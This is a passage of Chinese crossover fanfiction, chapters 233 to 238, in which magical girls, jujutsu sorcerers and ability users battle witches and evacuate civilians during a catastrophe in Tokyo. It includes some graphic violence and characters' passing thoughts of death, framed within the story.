夏油杰点点头，还接话道：“把你这边剩下的任务都交给我吧，我能同时兼顾多个地方……不过，闹出的动静可能会比较大。” 现如今也顾不上暴露咒术师、异能者这类特殊存在了，能够救下更多的人才是最重要的。 于是，松代便没有多在意这些，还松了口气。 如果能够尽早完成救援，她就可以放心去对付魔女了。她有着大范围投放炸弹的攻击能力，得确保不会牵扯到普通人才能去使用。 “……那就拜托你们了。” 看着五条悟和夏油杰带着一大堆任务离开后，松田阵平这边暂时也就轻松了许多。 她想着刚才五条悟说的话……他们两个是最强的吗？ 朔夜似乎也是这种设定的感觉。 因为朔夜的能力比起救援来说，更适合进行战斗，所以目前她算是解决魔女的主力军，此刻估计也正处于战斗状态。 虽然朔夜是一向都很能令人放心的存在，但是伊江朔久却算得上是一向都很容易让人操心的存在。 在得知这两个人其实是一个人之后，松田阵平的想法就很微妙了，不知道自己到底该不该安下心来。 ……应该会没事的吧？ 对方实力那么强，很难受什么伤，持续的战斗也能凭借悲叹之种来进行恢复。 前段时间，朔夜可是拿出了数量很夸张的悲叹之种分给了她们，她自己应该也还储备着不少吧。 松田阵平沉默了几秒。 这还真不能确定，那家伙并不怎么在意自己身体。 从第一次见面时伊江朔久徒手帮他挡下刀子的时候，松田阵平就知道这一点了。 松田阵平不放心地准备再通过监控，找找看有没有朔夜的现状。 不过，她倒是先看到了别的诡异场景。 ——屏幕里，有许多人惊恐地哭着喊着，看起来精神受到了不小的打击，但却都是往着一个路线跑着。 即使没有别人指挥引导，他们也都没有到处乱跑。 就仿佛身边有着无形的怪物堵住了其他通道，有意带着他们逃离这里去往安全的地方一样。 ……这是？ 松田阵平默了默。 她又瞥到了其他地方的监控画面。 别的地方也有许多这种无形的东西，强行带着其他人在天上飞。 又或是把惊恐到四肢打颤的人、失去理智放弃逃生的人给束缚住，直接带着他们往别的地方走。 很多人都被吓得连连尖叫，但在发现一直没有受到任何伤害后，不少人脸上的恐惧也逐渐被困惑取代，不明白这是什么情况。 ……难道还存在不会害人的魔女与使魔吗？ 松田阵平很快意识到了情况，这些根本就不是魔女或使魔。 等等，出现这些怪物的地方似乎有点熟悉……松田阵平想起了自己刚拜托给五条悟和夏油杰的那些任务地点。 说起来，五条悟是最强咒术师这一点她当然是知道的，不过刚才那个黑色丸子头青年她之前倒是没有见过。 “杰”这个名字好像有点耳熟。 松田阵平立刻查了一下。 因为魔法少女与咒术界的合作近期愈发紧密，所以她能够顺利得到关于咒术界的许多信息情报，很快就查到了名气很大的夏油杰。 ——夏油杰，特级咒术师，拥有着咒灵操术的能力，可以将降伏的咒灵收为己用，目前至少能操控数千只咒灵。 所以说，那数量庞大的无形怪物们都是由他操控的咒灵？ 这种能力……还真是便捷又显目啊。 夏油杰当时说“闹出的动静可能会比较大”还是太谦虚了，这么夸张的咒灵操控数量都足以直接组建一支军队，造成的影响自然是无比巨大的。 松田阵平又一次陷入了沉默。 她已经能想到，等到这次危机结束之后，咒术师和咒灵的存在大概都要隐瞒不住了。 异能者这次也帮了不小的忙，也被很多民众看到了他们使用能力的样子，估计他们的身份也很难瞒下来。 到时候，民众的世界观估计又会彻底崩塌再重建一次吧。 不过，比起这些，目前还是救人最为重要。 松田阵平暂时将这些麻烦事抛之脑后。 ……之后的事情，就等顺利解决这次危机之后再说吧。 第233章 灾难仍然不断在东京各处地区发生着，甚至还隐隐有向其他地方蔓延的趋势。 人们也依旧沦落在恐惧之中。 街道上处处都能听见普通人尖叫哭喊的声音，无形的力量将许多建筑都扭曲成诡异的弧度，车辆不受控制地碰撞在了一起…… 鲜血染红街道，爆炸的火光映亮天空，地面上的焦黑如同伤痕一般触目惊心。 如同末日到来般的场景。 “救命！救……！” 一个西装革履的男人喉咙里的声音发了一半，就被硬生生地遏止住了。 因为有看不见的东西抓住了他，将他提到了半空中。 而男子的挣扎毫无作用，很快他的脸就涨成紫红色，眼球凸出，失去了继续反抗的力气…… 然后“噗哧——”，身体扭曲成了一个非人的形状。 这种噩梦里也难见到的情况发生在现实里，如果换做是往常，周围的人几乎都能被吓得丢了半条命。 但是现如今，人们几乎都已经可悲地习惯了。 每一秒，身边仿佛都会有人死去。 不管是认识的人，还是不认识的人，可能就是自己最亲近的父母、亲戚、朋友、恋人…… 都这么渺小而轻易地死去了。 人类的生命太脆弱了，脆弱到随便一只使魔似乎都可以杀掉很多人。而人类的数量又是庞大的，总有人能够顽强又幸运地活下来。 在逃命的过程中，一个孩子被什么东西绊了一下摔倒在地，他想赶紧爬起来，却发现自己根本做不到。 “快起来，瑛太！” 另一个年纪稍大几岁的少年很紧张，攥着那孩子的手，一边催促着一边想将其拉起来。 那孩子颤抖着说：“有、有东西抓住了我的腿……” 他的腿上看上去没有任何累赘，但却渐渐浮现出紫黑色的淤痕。 刚才已经见过了那么多类似的场景，看到那么多人死在这看不见的存在之下。 所以，他们当然都明白这意味着什么。 少年眼底涌出泪水，恐惧让他说不出话来。 他很想立刻逃离这里，离这些诡异的危险的怪物越远越好，但是手却依旧本能地紧紧攥着弟弟的手，不愿松开。 要死在这里了吗？ 谁能来、有谁能来救救他们…… 突然，一道黑影掠过，切断了缠住那孩子的东西。 “快走，离开这里。” 戴着护目镜的金发男人出声道，他手里拿着一把缠着咒符的短砍刀，很显然是他在紧急关头救了场。 “谢谢、谢谢！” 少年心里一下子安定许多，匆匆拉起弟弟，向对方道了谢。 他也清楚地知道自己和弟弟留在这里只能拖后腿，于是便没有多做停留，就赶忙向着别的地方跑走。 这时候，少年也发现周遭多出了和这个金发男人相似的几个人，都不像普通人，大都拿着特殊的武器。 除了魔法少女之外，世界上还有其他有着非凡能力的人吗？ 他们能够顺利解决这场劫难吧？ 少年不知道答案，但是望着那些人挡在其他民众身后的举动，心底逐渐燃起了希望，更愿意相信…… 相信他们一定能够获得胜利。 七海建人应对着眼前看不见的怪物，十划咒法因此难以派上用场，不知道会从哪里落下的攻击让他一时间有些狼狈。 支撑了几秒后，七海建人的目光瞥见了旁边赶来的咒术师后辈。 于是，他后退了几步，留出空位来，喊道：“猪野！” “是！” 猪野琢真了然地冲上来，发动了早就提前准备好的攻势。 这只使魔行动更灵巧一些，本能地感到危险，要向旁边退去。结果七海建人预判了它的动作，成功拦住其去路。 “啪嗒——” 出乎意料的是，使魔没有受到任何伤害，而是被泼上了一层特殊的荧光染料。 现在，它能够被所有人看见了。 七海建人果断使用咒术挥下自己的砍刀，斩断了它的身体。 与此同时，周围其他赶到这里的咒术师也做了同样的事情——先想办法往异常的地方泼上特殊荧光染料，再与同伴合作一起杀掉使魔。 在能够看见敌人之后，他们的战斗顺利了许多，但这些咒术师并没有放松警惕。 因为使魔的数量足够多，更何况他们还没有真正对上魔女。 魔女和使魔的实力差距可是相差甚远，就算能够想办法看见魔女，要对付起这种特殊又诡异的存在依旧很艰难。 估计一只实力普通的魔女会远比一级咒灵难应对多了，难以对比与特级咒灵的水平差距，而特级咒灵可不会像如今的魔女一样遍地都是。 所以，咒术师们的目的只在于尽可能减少使魔的数量，以及帮忙救出更多的人。 于是，在实力较强的咒术师战斗来拖延时间的时候，其他较弱的咒术师、辅助监督、官方派来的全副武装的军队就负责带领人群快速安全离开。 “请往这边走！别乱跑，不要挤……” 伊地知洁高拿着扩音器，努力维持着秩序。 在这样人挤人、争抢着想要超过他人的情况下，队伍只会前进得更慢，也不便于保护民众。 但是很难让处于生死关头的这些人都能冷静下来。 地面突然开始震动起来，不远处的建筑像被巨力挤压般扭曲变形，而且还逐渐向人群聚集的这边接近。 这阵势…… 钉崎野蔷薇沉下心来。 绝对不是普通使魔可以做到的。 她和禅院穗、悠衣一直有些往来，因为对魔法少女相关工作的好奇，也从她们那里得到了更多对魔女的了解。 ……看来，是有比较强大的魔女到来了。 咒术师们虽然可以做到分散逃离，但是，他们却做不到将这么多的民众立即撤离走。 第234章 怎么办？ 钉崎野蔷薇只是迟疑了片刻，接着便咬了咬牙，手持钉子往那边冲了上去，打算尽可能争取更多的时间让民众撤离。 “轰——” 偏偏祸不单行，原先要引导民众撤离的方向也突然出现了很大的动静，又有别的魔女出现了。 守在那边的咒术师没能及时拦住攻势，只是一个照面就被击飞出去，险些重伤致死。 这下局势就变得更糟糕了。 钉崎野蔷薇左右看了看，一时有点拿不定主意，握着钉子的手越来越紧。 她不禁想起了自己的老师和同期……五条老师、伏黑还有虎杖，他们现在在哪里呢？ 五条老师就算了。 之前上学的时候，伏黑和虎杖就总是时不时消失，就连这种时刻居然也不见人影。 钉崎野蔷薇倒是能够猜到他们估计也在做很危险的事，也希望他们能够安全。 但此时此刻，她还是忍不住想……如果他们也在这里就好了。 忽然间，一个穿着立领卫衣、戴兜帽的身影出现在大众视野里，双手持着短刀，带着如同千钧般的力量砸向某处虚空。 无形的屏障几乎是瞬间便被击碎。 那里的魔女发出刺耳的尖啸，似乎是因为感受到生命的威胁而做出最后的反扑，周围的建筑都被波及得纷纷崩塌。 但是这并没有什么用，它还是被死死压制着，很快就倒下化作了一颗漆黑的悲叹之种。 那个戴兜帽的身影捡起悲叹之种，回过头来，眼神很好地捕捉到了自己熟悉的身影，挥手道：“钉崎！” 钉崎野蔷薇却没及时反应过来。 或许是因为刚才一直想着虎杖和伏黑，又或许是对方的动作和语气有些太熟悉了…… 她竟然差点将这人看成了虎杖悠仁。 “虎……” 声音刚不自觉地发出来一点，钉崎野蔷薇就立刻又收了回去，重新喊道：“……悠衣！” 这时候，不远处又多了一道黑红色的身影，与另一边的魔女战斗了起来。 这个人倒不是什么魔法少女，身上也没什么强大的咒力波动，却有着强大的实力，抬手便能操控碎石浮空如炮弹般轰向魔女所在的位置。 悠衣没怎么停顿，便立刻上前去帮忙了。 他们两个联起手来，没过多久便成功地也将这只魔女给解决了。 悠衣有点诧异地看向对方。 因为合作的关系，之前她就见过中原中也这个人了。 她知道对方实力很强，但没想到对方应付起魔女也这么适应和熟练。 简直就像……有很多与魔女战斗的经验一样。 中原中也顺手捡起离自己更近的悲叹之种，抛给了悠衣：“接好。” 虎杖悠仁收下并道：“谢谢。” “我拿着这东西也没用。” 中原中也压了压帽檐，蓝色的眸子冷冷地望向远方——靠向右侧的那一边远处又隐隐出现了新的动静。 他随口抱怨了一句：“啧，真麻烦。” 魔女和使魔的数量越来越多，往往刚解决完一只，又要紧接着面对新的一只，仿佛源源不断、无穷无尽。 虎杖悠仁也有点疲惫地点点头。 作为主要负责与魔女战斗的一方，她简直一刻也不得歇息。要不是有着充足的悲叹之种存量，估计早就原地变成魔女了。 “救命、救救我！” “又是看不见的怪物——！” 人群那边突然又闹了起来。 中原中也视线转过去，刚想过去看看，就被旁边的悠衣拦了下来。 “没事的，那不是魔女或使魔。” 闻言，中原中也顿住了脚步，仔细观察那个方向。 ——确实，没有人受到伤害。 只不过是某些人因为之前的伤势或是过于疲惫，难以跟上其他人而渐渐落在后方时，有看不见的东西过来并拖着他们继续前进。 而此刻的人们刚遭遇过太多不好的经历，当然会将看不见的东西当作是会害人的魔女或使魔。 中原中也问道：“那是？” 虎杖悠仁刚要回答，便听见已经有人在用扬声器安抚人群，并且那人还不是一名咒术师。 国木田独步高声道： “不要担心，这不是敌人，是国家派出的帮助疏散撤离的特殊存在，请配合行动，它们会将你们带去安全区——” 他说得很聪明，没有提咒灵，而是搬出了国家这个名头。 这更容易令人们能够更快安心下来接受这些。 虽然这种未知生物说得不清不楚，但是经历了这么多事情，民众的接受力已经今非昔比了。 他们的世界观快速崩塌，又快速地重建起来。 这种特殊的能力反而像是希望的光亮。 在这个如同末日降临的环境下，面临着那么多可怕无形怪物的威胁……能够看到己方有着这样的力量，人们自然会安心许多。 但是，并不是所有人都是这么想的。 “我说，国家早就知道东京会变成现在这样子吧？为什么不早通知我们搬离这里？！要是能够提前告诉我们，我、我的家人就不会死了——” 有个男子声音颤抖地嘶吼道。 他不是第一个意识到这一情况的人，却是先不管不顾地揭露出来的。 如今情况不如刚才那么危险了，其他人听到这种话，再想想自己和家人朋友的遭遇，也忍不住纷纷议论起来。 “是啊，明明办了那么多场防灾演习，还封锁人流量过大的区域，取消近期所有大型活动……为什么不直接告诉我们？！” “你们也早就知道会发生这些事情吧？为什么不站出来告诉大家？！” “让所有人都提前撤离东京不就好了，为什么现在才采取切实行动，就是想看着我们死掉吧？” “……” 第235章 这类埋怨不满的声音越来越大。 虎杖悠仁沉默地听着这些声音，也能理解人们的心情，却无法给他们一个合理的解释。 虽然她能够猜到这一切的原因，可是要怎么解释？ 告诉他们——不是灾难一定会发生在东京，而是哪里有更多人聚集，哪里就会出现更多的魔女使魔？ 东京只是一个更方便大量投放悲叹之种的地方而已。 就算让所有人搬离东京，悲剧也会发生在大阪、京都等别的地区，只是可能会来得更晚一些，也会更扩散至难以控制一些。 这些话一旦说出去，人们大概就能发现。 ——这似乎不是‘天灾’，而是‘人祸’。 人们会更加恐惧不安起来，会怨恨为什么自己成了火车轨道难题中被牺牲的那一方，到时候局面估计也就会变得更加糟糕。 所以，不能说。 “不要争吵，请有序撤离，跟随指引去往安全地区……” 国木田独步拿着扬声器，声音尽可能拔高，想要压住喧闹的人群，但却显得有些有心无力。 一个人的声音终究还是太小了。 其他咒术师和国家部队的人尽管也想帮忙维持秩序，但终究还是不知道该如何解释，也没有都随身带什么扬声器，声音刚发出来就很快被淹没在人潮之中。 只有国木田独步的声音还稍微突出一些。 但他努力说了好些话，仿佛都没什么作用，最后无奈地用尽浑身最大的力气对着民众喊道： “——请相信我们！” 这一句声音大得出奇，大半部分人都听见了，也几乎都能感受到这仿佛撕裂喉管也要发出的声音中蕴含的情感。 国木田独步本就是一个很认真的人，身上从来不缺坚定的理想主义信念。 这样的信念就像火种，无论在怎样的黑暗中都能照亮一块区域，同时也会点燃其他人心底的信念。 于是，自然而然的，人群里的其他声音也逐渐响了起来。 “是他们救了我们啊，还一直在拼命保护着我们。” “要不是刚刚他们的出现，我们可能早就死在这里了吧，怎么可以责怪自己的救命恩人？” “还是别把一切想得太糟糕了，哪来的理由故意想让我们死掉……” 刚刚被救下的青年、孩子、老人……在竭力为救下自己的那些人而说话，仿佛证明了他们的努力是值得的。 虎杖悠仁轻轻开口，既像是在问自己也像是在问别人。 “希望和奇迹总归是存在的吧？” 即使危险的敌人在背后虎视眈眈，即使魔法少女从头到尾都是个谎言，即使末日般的场景降临现实…… 只要这条路上还存在着光亮…… “当然了。” 有人忽然回答了她的话。 虎杖悠仁一怔，侧头发现钉崎野蔷薇不知何时已经走到了自己身边。 对方的眼里藏着莫名的光芒，像是从她身上看出了点什么似的，却没有多说什么别的事，仅仅是道： “我相信一切都会变好的，也相信你们。不过，这次拯救世界的任务就请让大家一起合力完成吧？” 虎杖悠仁抿着嘴没有说话，但随身携带的灵魂宝石似乎更加流光溢彩了一瞬，隐晦地流露出少女的动容。 虎杖悠仁又想起爷爷死之前说过的话——“要去拯救他人，在众人的簇拥下死去。” 现在似乎真的能够做到了。 虎杖悠仁心底那曾因得知真相，而难免积累下来的丝丝后悔情绪，也在此刻悄然抹除了。 爷爷，我明白了。 成为魔法少女，能够帮助他人，能够拥有这么多的同伴……真是太好了。 …… 此时此刻，东京附近的其他地方也都有着相似的遭遇。 尽管恐惧笼罩着整座城市、黑暗在不断蔓延开来，但仍然会有许多微小的光芒坚强地闪烁着。 ——警方的直升机不断在上空盘旋，搜寻着幸存的人员。 ——全副武装的军队和辅助监督引导着民众撤往安全地区。 ——咒术师和异能者合作挡住了使魔和部分魔女的大量攻势，争取着宝贵的救援时间。 …… 魔女与使魔是特殊的难以对付的可怖存在，但是大部分人都没有选择放弃，几乎都在努力地与这场灾难做着斗争。 而在最深的黑暗里，魔法少女们将会一直站在所有人的前面，投身于最危险的战斗之中。 直至最后一刻。 …… 时间一分一秒地过去。 本就不算怎么明亮的白昼更是渐渐黯淡下去，暮色不断蔓延开来，使得地上的焦黑与猩红似乎都不那么刺目了。 只有风声依旧强劲，从废墟中穿插而过，发出近似呜咽般的声响。 降谷零半跪在地上，抬眼望着面前似乎怎么也杀不完的那些魔女和使魔，实在有些身心俱疲。 她已经战斗了很久。 换作是旁人，本该早就支撑不住了的。 但好在她如今是魔法少女，只要有着足够的悲叹之种，这具身体就还能一次次修复好再站起来进行战斗。 “真是没完没了啊。” 降谷零又拿出来一颗悲叹之种，用它净化着自己的灵魂宝石。 随着宝石逐渐重新明亮起来，她身上刚受的伤也开始自动恢复着，不过身上的血污还能证明刚才都发生了些什么。 衣服这类特殊物品虽然也能够修复，但那样可就太耗费悲叹之种了。所以她并没有去管，甚至也只用它来恢复精力和修复致命伤。 作为新人的安凛，魔法使用和战斗经验都还欠缺不少。 在同伴的紧急培训和自己的努力下，能够达到如今单独应对魔女的水平，就已经很不容易了。 悲叹之种的获得速度远比不上消耗速度自然也很正常。 第236章 抬头看着面前又一只魔女的靠近，降谷零深吸了口气，即使身体还没恢复好，她却还是摇摇晃晃地站了起来。 比起几乎是无尽的魔女与使魔来说，这位浅金色长发少女的身形实在是显得太过矮小了。 庞大与渺小的对比是那么鲜明。 但此刻，她手握着长剑，目光坚定地站在那里，就仿佛能够挡下一切威胁民众生命安全的敌人。 又是新一轮的战斗。 在长剑穿透眼前这只魔女的核心之时，旁边的一只使魔趁机扑了过来。 降谷零并不是没有看到，只是疲于应付眼前最主要的威胁，没有办法在关键时刻分心，只能被动地在右臂上留下了一处深可见骨的伤。 她手一抖，差点没握住自己手里的武器。 好在这时一道黑影从侧面赶了过来，对方一边击杀了那只魔女，一边还注意着架住了她摇摇欲坠的身体。 “喂，没事吧？” 熟悉的嗓音，难得带着这么明显的关心语气。 降谷零抬眼，看到了黑色卷发带着一抹蓝色挑染的少女，是松田阵平。更准确的说，应该是松代。 她回道：“没事的，缓一下就好。” 反正灵魂宝石没有坏掉，魔法少女也就不会轻易死掉。 “对了，你怎么来这儿了？” 降谷零突然想起，松田阵平本应该正在主要负责救援的分配与安排吧。 因为对方有着高超的操控电子机械的能力，再加上其主要投掷炸弹的攻击方式影响范围比较大，所以让对方先转到幕后进行救援工作是她们提前做好的决定。 降谷零顿了一下，道：“幸存的民众都安全转移走了？” 松田阵平嗯了一声，回想起自己在监控屏幕上看到的那些救援画面，颇有些感慨。 但此刻也没空多闲聊几句，她只是说道： “转移民众所耗费的时间比预估得快了很多，我们现在要做的就只剩下战斗了。必须要守好这些关键的地方，不能放任这些魔女使魔蔓延至其他地区。” 降谷零握着长剑的手紧了紧：“我知道。” 不过，在降谷零即将再一次上前去迎战魔女的时候，松田阵平先拦下了她，丢给她一颗悲叹之种： “你先休息一会儿，这里暂时就交给我吧。” 降谷零迟疑地望着对方的背影，道：“我还有一些悲叹之种。” “让你休息你就先休息，我们的战斗离结束还早着呢，别提前倒下了啊。” 态度挺强硬的，但声音里的关心意味依旧没有减弱几分。 “……嗯。” 降谷零应了下来。 确实不能急于一时。 虽然现在知晓幸存者都安全转移走了，她也能稍微放心一些。 但是同时，降谷零也明白，接下来的战场更是一个非常艰巨的考验。 先前与魔女使魔的战斗主要是以拖延时间为主。如果遇到特别难对付的魔女，只需要远远避开就好，重点是先得将民众尽可能保护好。 而现在的重点就要转移到消灭魔女身上了。 可魔女和使魔杀了一茬又来一茬，仿佛是从某个不知名的异空间里源源不断地掉落出来一样，让她们的战斗根本看不到尽头。 这样持续下去，迟早她们都得一个个先后变成魔女。 这大概也是敌方所希望看到的。 可惜她们尽管能看透幕后敌人的目的，却没有反制的手段，只能顺从敌人的想法战斗下去。 否则敌人就会将矛头转向普通民众那方了，再以无数的普通人的性命，来逼迫她们不得不再次返回到敌人安排好的道路之上。 这条道路的尽头会是什么呢？ 降谷零看着周围一眼望不到头的残败景象，心越来越沉下去。 敌人的想法也没那么难猜，大抵不过就是——想要看到她们都变成魔女吧？ 她……不，是她们，绝不会让对方得逞的！ 恢复了些状态的降谷零，朝着前方正在战斗的同伴处走去…… …… 别的地方也是类似的战场。 因为城市已经被破坏得一团糟了，标志性的建筑几乎都化作了废墟，每处的残垣断壁看起来当然差不多都一个样子。 只不过是负责战斗的人不一样而已。 咒术师和异能者大多都在一起合作着进行战斗，绝不会放人落单。 毕竟就算他们实力有多强大，也和魔女使魔不是一个能力体系，得用泼洒特殊燃料的方式才能看到它们。 所以，自然得格外小心避免被偷袭，以及在遭遇突然袭击后，要保证有人帮衬、减少死亡率才行。 而数量稀少又战斗能力突出的魔法少女们，要面临的战场就比较孤单了，魔女使魔的数量和强劲程度反而还要更棘手。 幸好她们不会轻易死亡。 幸好伤势、痛苦和疲惫都能用悲叹之种来化解。 随着时间的推移，在其他不知道魔法少女真相的人的眼中，她们的形象越来越超乎人类的范畴了。 这几乎是无休止的战斗与坚持……简直就像是神迹一样。 魔法少女越来越像是希望与奇迹的代名词。 只不过，背后的辛苦与煎熬也只有她们自己最清楚。 “……累死这样的自杀方式，我可一点都不想尝试啊。” 太宰治第不知道多少次又叹了一口气。 身体上的劳累可以消除，但心底的累可就束手无策了。 她们目前还是没办法彻底脱离人类范畴，无法把自己变成没有情绪、只用来战斗的工具。 所以，太宰治的战斗尽管依然干脆利落，神情却始终恹恹的。 她实在是很想不管不顾地就这样死掉。 灵魂宝石被破坏就可以死掉，多么无痛又美好的自杀方式啊…… 自己不是一直都渴望着这种死法吗？ 第237章 “再坚持坚持吧。” 旁边的伏黑惠一边配合着太宰治杀掉眼前的魔女，一边顺口安慰道： “等到其他人过来帮忙，我们就可以暂且休息了。” 太宰治很难相信这种话。 她都已经持续战斗了不知道多少个小时了，哪有什么休息的时间，此刻的其他人根本就自顾不暇好吧。 而且…… 太宰治想到了织田作之助、想到了坂口安吾，还有中原中也，以及武装侦探社的那些成员…… 他们都参与到了这次危机之中，说不定正在面临什么危险，这已经够不容易了。 她怎么可能会想让他们来到这边更危险的战场帮忙呢？ 所以，还不能就这么死掉。 虽然太宰治对拯救世界这种事并不怎么感兴趣，但也不想看着有他们存活的世界就这样轻易被毁灭。 况且，她和朔夜还有约定。 当年在海边遇到那家伙的时候，对方身上明明弥漫着比自己更为浓重的死气，但最终还是坚持着活到了现在。 如今还守在最危险的战场拼命战斗着，直到现在也没有放弃。 那么…… 自己还是只能再坚持坚持吧？ 太宰治身形一换，又一次甩出绷带，精准地将袭来的魔女禁锢住，无比熟练地重复着这看不到尽头的战斗…… 逐渐的，眼前的这些画面似乎在记忆里泛起了涟漪，带着某种宿命般的既视感。 虽然太宰治记性很好。 但是近两年发生的令人印象深刻的事简直数不胜数，太多鲜明的片段将记忆的抽屉塞得过满。 就算是再精准的头脑，也难以很快从这些记忆片段，翻找出很久之前的某个特定时刻发生的细枝末节。 她沉默了会儿，还是对着旁边的禅院穗开口道： “对了，你还记得我们那天第一次遇见预言魔女的时候吗？” “……” “……原来就是今天啊。” 伏黑惠也回忆起来了。 原来，她们两年前所看见的竟然确实是真实的未来场景。 ——甚至就是今天、就是现在这一刻。 看不见的命运顺利地沿着定好的轨迹前行，一步步将她们送到了如今这个局面，想来还真是恍如隔世，令人……难以言明此刻万分复杂的情绪。 就是不知道…… 命运给她们定下的最终结局会是什么样的呢？ “……你不想给过去的自己说些什么吗？” 太宰治主动向她问道：“比如你认为重要的事情。” 虽然记不清楚当时所看见的经过细节了，但如今她们两个的对话听起来也是这么耳熟，仿佛是从记忆深处浮上来的回声。 伏黑惠有些累了，眼神平静得有点空洞。 “不了。” 枪声在两年后的此刻终于传来。 当年射出的子弹，如今正中眉心。 伏黑惠依旧记得那个时候自己曾不解埋怨过，为什么幻境里的‘自己’什么都不愿意说，这样藏着掖着仿佛故意喜欢为难自己一样。 但是现在，伏黑惠也终于能够理解了。 “即使说了，也无法改变什么吧。” 过去的一切都已经注定了，只要说出来就能够改变这些吗？答案简直一目了然。 ——不能的。 能说什么？ 提前说出魔法少女的真相，让自己提前两年受到精神打击、对未来丧失信心？ 谁知道更年轻的自己能否接受这些、又能做出什么事情。 可以知道的只有……这两年来，她肯定会不得不消耗更多的悲叹之种，用于净化自己的灵魂宝石。 还是说，提前让自己小心丘比？ 根本没什么用吧，只会让丘比更早地警惕起来，说不定如今的这一糟糕局面会直接提前发生在自己尚且弱小的时候。 至于……自己的姐姐津美纪。 如今伏黑惠已经知道，姐姐早就已经被敌人盯上了，迟早都会出什么‘意外’。 眼下津美纪只是陷入不明的沉睡之中，似乎还算是比较好的一种结果。 毕竟朔夜说了，她有办法可以解决这件事、很快就能让津美纪清醒过来。 而自己也说了，会相信她。 从成为魔法少女的那一刻起，这一切的悲剧与遭遇就终有一天会上映。 而她们居然不得不承认。 眼下要面临的这般糟糕的局面，竟然已经算是无数条未知道路之中，相对来说较好的一条了。 所以……现在最好的选择，貌似就是什么也不说，等待既定的命运到来。 “也是。” 太宰治理解伏黑惠的心情：“提前知道的话，大概也只会带来不必要的麻烦。” 气氛有点僵硬。 但其实也还好，魔女和使魔依旧兢兢业业地涌上前来攻击，两位魔法少女也照旧不断的应对着它们。 战斗的时候，不说话似乎也很正常。 不过，太宰治一边沉浸在这无尽的战斗之中，一边还是控制不住习惯性地思考着。 迄今为止真就只是命运操控着一切吗？ 丘比这么做到底是为了什么？背后是否还有其他敌人？被自己遗忘的、被因果线修正的过去具体都发生了些什么事？ 黑发鸢眼的少女微微动了动唇，喃喃似的发出了微弱的声音。 “朔……久……” 能解答这一切的估计只有对方了。 太宰治知道朔夜现在在哪里——东京核心地区，早已被无数魔女使魔占据的地方，如今最危险的战场。 白发少女一个人在那里孤独地战斗着。 她拒绝了所有是否需要帮忙的询问，照例冷淡又固执地将最凶险的事情揽下，孤僻地做着自己的事情。 不需要、甚至是抗拒着他人的靠近与理解。 太宰治忽然有点想要去往那个人身边，抛却过往的所有试探与猜疑，将所有的疑问一股脑都直白地问个明白。 如果……她们在此之后都能活下来的话。 第238章 战斗持续着，仿佛无穷无尽地持续着。 就算只是负责最弱小的使魔的那些人也根本坚持不了那么久。 战斗的人数渐渐少了下去，尽管部分人会在疗伤歇息之后重返战场，但这也是杯水车薪。 魔法少女们一开始还有空担心下其他同伴的情况。 但是随着时间的推移，她们连自己眼前的局势都已经疲于应对了。 身体变得越来越麻木，敏捷性也不断下降着……这样下去，真的感觉快要脱离人类的范畴、变成专门用来战斗的工具了。 并且，天空也一点点黑了下去，彻底被漆黑的幕布所笼罩。 没有月亮，也看不见星星。 遭到了严重破坏的城市当然也不可能亮起路灯。 一切都太暗了。 人们的视线无可避免地受到了影响，原本坚定的信念也要被磨耗殆尽，曾经亮眼的希望火光终究还是会燃到尽头。 不管杀掉了多少魔女使魔，还是有新的会从不知道哪个空间里突然冒出来。 还要坚持多久呢？ 继续努力下去，真的会有什么价值吗？ 松田阵平无数次把这类糟糕的念头抛之脑后，又无数次控制不住让它们浮上心头，一点点被耗尽的希望在向绝望转换。 看着灵魂宝石又快要被黑色浸没，她动作熟练地摸出一颗悲叹之种，却突然愣了一下，发觉悲叹之种的数量不多了。 她这里只剩下最后三四颗了。 尽管还可以通过击败魔女来获取，但是她们也不是永动机，越继续战斗消耗的速度越快，这样下去是坚持不了多久的。 其他人怎么样了？ ……她们的悲叹之种会不会已经用光了呢？ 松田阵平现在连联系同伴询问一下情况的闲余都没有，只能全心贯注地尽量完成自己的战斗，将能抓住的间隙全用来恢复也还是不够。 更何况其他人的情况应该同样不容乐观，哪来的空闲去回复消息呢。 还有其他的办法吗？ 在漆黑一片的压抑夜空下，松田阵平看不到存在任何希望的未来。 “呼……咳咳……” 她喘息着，口中呛出鲜血。 视线边缘泛黑的区域不断扩大，耳边只剩下自己急促的呼吸和心跳，每一次使用能力都像是在燃烧生命。 话说…… 等到即将变成魔女之前，还是先自我了断比较好吧？ 按照悲叹之种的消耗速度，倒是还能坚持一段时间，但是那之后又该怎么办呢？ 松田阵平忽然想起了朔夜。 从初次见面开始，那个白发青瞳的少女就一直远远地站在她们前面。不管是实力还是性格，都是那么难以接近。 可是，在她们面临无法解决的危险时，那个人都能及时赶到，尽管总是带着不好的语气。 每一次、每一次都是如此。 渐渐的……只要看到她在的话，就会隐隐生出一种无法言说的安心感，仿佛她能够解决一切难题。 如果是朔夜的话…… 松田阵平硬生生止住自己这种想法，怎么能将所有事情都寄托到对方一个人身上？ 虽然朔夜的实力很强，一直以来都很让人放心信赖，就像脱离了普通人类的范畴一样。 但是这也只是对方其中的一面。 那个人还有作为伊江朔久的一面，一个不那么强势、不那么遥远，却也更加温和、善意的形象。 所以说，对方再怎么强大以至于被神化，也还是无法包揽一切，总归是会累的。 既然她们是同伴，这个时候就应该一起努力。 起码得…… 先坚持到最后一刻再说吧？ …… 另一边。 超大型的复数魔女集合体的残骸被白发少女踩在脚下，只能发出生命走到尽头前的最后呻吟。 朔夜刚才终于杀掉了这个目前为止出现的最强大的怪物。 但是，她如今也并不好受。 方才一个不小心导致她的头颅都破损了一小半，脑浆混杂着血液沾了自己一身，换做是正常人早死了千八百次了。 可是注意着保全灵魂宝石的她还活着，并且已经慢慢将丑陋的创口修复过来了，就是不得已又多消耗了些悲叹之种。 眼前有些模糊…… 好累…… 白发少女紧抿着唇。 就算自己的状态再怎么糟糕，也绝不会流露出软弱的表现。 她得坚持着，必须坚持着，逞强地做出一副不管什么危机都足以解决的样子。 ‘真是精彩的表现呢。’ 熟悉又讨厌的声音从身侧传来。 伊江朔久没有第一时间理会这家伙，只是握紧手里的武器，将一只突然袭来的小型魔女钉死在不远处的钢架上。 丘比从另一边废墟的阴影处走出来，皮毛仍旧是那么雪白干净。 它轻盈地跳过地上污浊的黑血，眼里只有面前的白发少女，以一种看待最稀奇的宝物的目光盯着她。 ‘居然能够坚持到现在……’ 丘比以夸赞的口吻说道：‘老实说，还真是远远超乎我的预料了呢，毕竟我为你特地准备的几乎都是非常强大的魔女。’ 伊江朔久表情平静。 没有生气，反而还稍稍心安了一些。 